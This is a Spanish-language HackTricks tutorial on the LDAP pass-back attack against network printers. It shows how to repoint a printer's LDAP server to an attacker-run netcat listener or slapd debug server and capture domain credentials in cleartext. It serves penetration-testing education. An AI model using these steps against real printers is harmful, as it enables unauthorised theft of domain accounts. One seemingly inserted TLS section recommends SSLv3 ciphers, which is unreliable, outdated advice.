Hay varios blogs en Internet que resaltan los peligros de dejar las impresoras configuradas con LDAP con credenciales de inicio de sesión predeterminadas o débiles. Esto se debe a que un atacante podría engañar a la impresora para que se autentique contra un servidor LDAP falso (normalmente un `nc -vv -l -p 444` es suficiente) y capturar las credenciales de la impresora en texto claro. Además, varias impresoras contendrán registros con nombres de usuario o incluso podrían ser capaces de descargar todos los nombres de usuario del Controlador de Dominio. Toda esta información sensible y la falta común de seguridad hace que las impresoras sean muy interesantes para los atacantes. Algunos blogs sobre el tema: * [https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/](https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/) * [https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) **La siguiente información fue copiada de** [**https://grimhacker.com/2018/03/09/just-a-printer/**](https://grimhacker.com/2018/03/09/just-a-printer/) # Configuración de LDAP En las impresoras Konica Minolta es posible configurar un servidor LDAP al que conectarse, junto con credenciales. En versiones anteriores del firmware de estos dispositivos, he oído que es posible recuperar las credenciales simplemente leyendo el código HTML de la página. Ahora, sin embargo, las credenciales no se devuelven en la interfaz, por lo que tenemos que trabajar un poco más. La lista de servidores LDAP se encuentra en: Red > Configuración LDAP > Configuración de LDAP La interfaz permite modificar el servidor LDAP sin volver a introducir las credenciales que se utilizarán para conectarse. Supongo que esto es para una experiencia de usuario más sencilla, pero da la oportunidad a un atacante de escalar desde el maestro de una impresora hasta un punto de apoyo en el dominio. Podemos reconfigurar la dirección del servidor LDAP a una máquina que controlemos y desencadenar una conexión con la útil funcionalidad "Probar conexión". # Escuchando los datos ## netcat Si tienes más suerte que yo, es posible que puedas salirte con la tuya con un simple oyente de netcat: ``` sudo nc -k -v -l -p 386 ``` Me asegura [@\_castleinthesky](https://twitter.com/\_castleinthesky) que esto funciona la mayoría de las veces, sin embargo, aún no he tenido tanta suerte. ## Slapd He descubierto que se requiere un servidor LDAP completo ya que la impresora primero intenta una conexión nula y luego consulta la información disponible, solo si estas operaciones tienen éxito procede a conectarse con las credenciales. Busqué un servidor LDAP simple que cumpliera con los requisitos, sin embargo, parecía haber opciones limitadas. Al final, opté por configurar un servidor LDAP abierto y usar el servicio de servidor de depuración slapd para aceptar conexiones e imprimir los mensajes de la impresora. (Si conoces una alternativa más fácil, estaría encantado de saberlo) ### Instalación (Tenga en cuenta que esta sección es una versión ligeramente adaptada de la guía aquí [https://www.server-world.info/en/note?os=Fedora\_26\&p=openldap](https://www.server-world.info/en/note?os=Fedora\_26\&p=openldap) ) Desde una terminal de root: **Instalar OpenLDAP,** ``` #> dnf install -y install openldap-servers openldap-clients #> cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG #> chown ldap. /var/lib/ldap/DB_CONFIG ``` **Establecer una contraseña de administrador de OpenLDAP (la necesitará de nuevo en breve)** ``` #> slappasswd New password: Re-enter new password: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx ``` ``` #> vim chrootpw.ldif # specify the password generated above for "olcRootPW" section dn: olcDatabase={0}config,cn=config changetype: modify add: olcRootPW olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx ``` ``` #> ldapadd -Y EXTERNAL -H ldapi:/// -f chrootpw.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "olcDatabase={0}config,cn=config" ``` **Importar Esquemas Básicos** ``` #> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 adding new entry "cn=cosine,cn=schema,cn=config" #> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 adding new entry "cn=nis,cn=schema,cn=config" #> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 adding new entry "cn=inetorgperson,cn=schema,cn=config" ``` **Establecer el nombre de su dominio en la base de datos LDAP.** ``` # generate directory manager's password #> slappasswd New password: Re-enter new password: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx #> vim chdomain.ldif # specify the password generated above for "olcRootPW" section dn: olcDatabase={1}monitor,cn=config changetype: modify replace: olcAccess olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth" read by dn.base="cn=Manager,dc=foo,dc=bar" read by * none dn: olcDatabase={2}mdb,cn=config changetype: modify replace: olcSuffix olcSuffix: dc=foo,dc=bar dn: olcDatabase={2}mdb,cn=config changetype: modify replace: olcRootDN olcRootDN: cn=Manager,dc=foo,dc=bar dn: olcDatabase={2}mdb,cn=config changetype: modify add: olcRootPW olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx dn: olcDatabase={2}mdb,cn=config changetype: modify add: olcAccess olcAccess: {0}to attrs=userPassword,shadowLastChange by dn="cn=Manager,dc=foo,dc=bar" write by anonymous auth by self write by * none olcAccess: {1}to dn.base="" by * read olcAccess: {2}to * by dn="cn=Manager,dc=foo,dc=bar" write by * read #> ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "olcDatabase={1}monitor,cn=config" modifying entry "olcDatabase={2}mdb,cn=config" modifying entry "olcDatabase={2}mdb,cn=config" modifying entry "olcDatabase={2}mdb,cn=config" modifying entry "olcDatabase={2}mdb,cn=config" #> vim basedomain.ldif dn: dc=foo,dc=bar objectClass: top objectClass: dcObject objectclass: organization o: Foo Bar dc: DC1 dn: cn=Manager,dc=foo,dc=bar objectClass: organizationalRole cn: Manager description: Directory Manager dn: ou=People,dc=foo,dc=bar objectClass: organizationalUnit ou: People dn: ou=Group,dc=foo,dc=bar objectClass: organizationalUnit ou: Group #> ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldif Enter LDAP Password: # directory manager's password adding new entry "dc=foo,dc=bar" adding new entry "cn=Manager,dc=foo,dc=bar" adding new entry "ou=People,dc=foo,dc=bar" adding new entry "ou=Group,dc=foo,dc=bar" ``` **Configurar LDAP TLS** **Crear un certificado SSL** ``` #> cd /etc/pki/tls/certs #> make server.key umask 77 ; \ /usr/bin/openssl genrsa -aes128 2048 > server.key Generating RSA private key, 2048 bit long modulus ... ... e is 65537 (0x10001) Enter pass phrase: # set passphrase Verifying - Enter pass phrase: # confirm # remove passphrase from private key #> openssl rsa -in server.key -out server.key Enter pass phrase for server.key: # input passphrase writing RSA key #> make server.csr umask 77 ; \ /usr/bin/openssl req -utf8 -new -key server.key -out server.csr You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [XX]: # country State or Province Name (full name) []: # state Locality Name (eg, city) [Default City]: # city Organization Name (eg, company) [Default Company Ltd]: # company Organizational Unit Name (eg, section) []:Foo Bar # department Common Name (eg, your name or your server's hostname) []:www.foo.bar # server's FQDN Email Address []:xxx@foo.bar # admin email Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: # Enter An optional company name []: # Enter #> openssl x509 -in server.csr -out server.crt -req -signkey server.key -days 3650 Signature ok subject=/C=/ST=/L=/O=/OU=Foo Bar/CN=dlp.foo.bar/emailAddress=xxx@roo.bar Getting Private key ``` **Configurar Slapd para SSL/TLS** Para asegurar la comunicación entre el cliente y el servidor LDAP, es recomendable configurar Slapd para usar SSL/TLS. Esto se puede hacer generando un certificado autofirmado o utilizando un certificado firmado por una autoridad de certificación. Para generar un certificado autofirmado, se puede utilizar la herramienta OpenSSL. Primero, se debe generar una clave privada y un certificado autofirmado: ``` openssl req -newkey rsa:2048 -nodes -keyout server.key -x509 -days 365 -out server.crt ``` Luego, se deben configurar los parámetros de seguridad en el archivo slapd.conf: ``` TLSCipherSuite HIGH:MEDIUM:+SSLv3 TLSCertificateFile /path/to/server.crt TLSCertificateKeyFile /path/to/server.key ``` Finalmente, se debe reiniciar el servicio Slapd para que los cambios surtan efecto: ``` service slapd restart ``` Una vez configurado SSL/TLS, se puede verificar que la conexión está cifrada utilizando la herramienta ldapsearch con la opción -Z: ``` ldapsearch -x -H ldaps://localhost -b "dc=example,dc=com" -D "cn=admin,dc=example,dc=com" -w password -Z ``` ``` #> cp /etc/pki/tls/certs/server.key \ /etc/pki/tls/certs/server.crt \ /etc/pki/tls/certs/ca-bundle.crt \ /etc/openldap/certs/ #> chown ldap. /etc/openldap/certs/server.key \ /etc/openldap/certs/server.crt \ /etc/openldap/certs/ca-bundle.crt #> vim mod_ssl.ldif # create new dn: cn=config changetype: modify add: olcTLSCACertificateFile olcTLSCACertificateFile: /etc/openldap/certs/ca-bundle.crt - replace: olcTLSCertificateFile olcTLSCertificateFile: /etc/openldap/certs/server.crt - replace: olcTLSCertificateKeyFile olcTLSCertificateKeyFile: /etc/openldap/certs/server.key #> ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "cn=config" ``` **Permitir LDAP a través del firewall local** ``` firewall-cmd --add-service={ldap,ldaps} ``` ## La recompensa Una vez que haya instalado y configurado su servicio LDAP, puede ejecutarlo con el siguiente comando: > ``` > slapd -d 2 > ``` La captura de pantalla a continuación muestra un ejemplo de la salida cuando ejecutamos la prueba de conexión en la impresora. Como puede ver, el nombre de usuario y la contraseña se pasan del cliente LDAP al servidor. ![slapd terminal output containing the username "MyUser" and password "MyPassword"](https://i1.wp.com/grimhacker.com/wp-content/uploads/2018/03/slapd\_output.png?resize=474%2C163\&ssl=1) # ¿Qué tan malo puede ser? Esto depende mucho de las credenciales que se hayan configurado. Si se sigue el principio de menor privilegio, es posible que solo obtenga acceso de lectura a ciertos elementos del directorio activo. Esto a menudo sigue siendo valioso, ya que puede utilizar esa información para formular ataques más precisos. Por lo general, es probable que obtenga una cuenta en el grupo de usuarios de dominio que puede dar acceso a información confidencial o formar la autenticación previa necesaria para otros ataques. O, como en mi caso, puede ser recompensado por configurar un servidor LDAP y recibir una cuenta de administrador de dominio en bandeja de plata.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! - Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFT**](https://opensea.io/collection/the-peass-family) - Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) - **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.